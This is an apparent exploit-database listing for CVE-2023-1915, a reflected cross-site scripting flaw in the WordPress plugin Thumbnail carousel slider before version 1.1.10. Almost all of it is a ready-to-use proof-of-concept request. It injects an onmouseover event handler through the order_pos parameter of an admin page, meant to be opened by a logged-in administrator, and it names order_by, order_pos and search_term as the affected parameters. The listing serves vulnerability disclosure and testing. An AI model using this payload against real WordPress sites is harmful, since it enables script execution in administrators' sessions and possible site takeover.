Exploit for Thumbnail carousel slider < 1.1.10 - Reflected XSS CVE-2023-1915

Name: Exploit for Thumbnail carousel slider < 1.1.10 - Reflected XSS CVE-2023-1915
Rating: 5 (37 reviews)

2023-04-18 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:0487C3F6-1A3C-4089-A614-15138F52F69B
Make a logged in admin open: GET /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management&order_by=title&order_pos=uqxt1%22%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20cxz0m
 
Affected parameters: order_by, order_pos, and search_term